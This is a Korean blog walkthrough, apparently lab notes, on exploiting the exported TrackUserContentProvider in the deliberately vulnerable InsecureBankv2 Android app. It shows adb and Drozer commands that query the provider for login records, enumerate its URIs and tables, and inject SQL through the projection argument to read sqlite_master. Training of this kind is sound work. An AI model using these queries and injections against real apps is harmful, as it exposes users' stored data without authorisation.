Self-Improvement

[InsecureBankv2] Exported Content Provider (ADB, Drozer) 본문

AOS/InsecureBankv2

[InsecureBankv2] Exported Content Provider (ADB, Drozer)

JoGeun 2021. 12. 29. 16:57

Exported Content Provider

Content Provider(콘텐츠 프로바이더)는 다른 애플리케이션의 데이터베이스나 파일에 접근할 수 있게 해주는 역할을 한다. 즉, 해당 애플리케이션의 데이터를 다른 어플리케이션에서 사용할 수 있게 해주는 것이다.

AndroidManifest.xml 에 <provider>로 정의되어 있다.

 

Content Provider 에 접근하기 위해서는 Content Provider 의 주소인 URI(Uniform Resource Identifier) 와 Content Resolver(콘텐츠 리졸버)가 필요하다. Content Resolver 를 이용하여 다른 애플리케이션의 Content Provider 에 접근할 수 있으며, 이때 Content Provider 의 주소인 URI 가 필요하다. Content Provider 의 주소인 URI 형식은 다음과 같다.

content://authority/path

Content Provider 의 주소는 content:// 로 시작하며 authority 는 Content Provider의 고유 주소, path 는 데이터 위치에 대한 정보가 담겨 있다.

 

TrackUserContentProvider 클래스에서 content://로 시작하는 URL은 아래와 같다.

com.android.insecurebankv2.TrackUserContentProvider/trackerusers

 

ADB

ADB 명령어로 요청해보면 로그인한 기록이 출력된다.

adb shell content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

 

Drozer

drozer로 한번 수행해본다.

run app.provider.info -a com.android.insecurebankv2

 

uri 목록 출력

run scanner.provider.finduris -a com.android.insecurebankv2

 

uri 요청

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

 

테이블 출력

run scanner.provider.sqltables -a com.android.insecurebankv2

 

SQLi 시도

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "'

 

sqlite_master 조회

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* FROM SQLITE_MASTER WHERE type='table';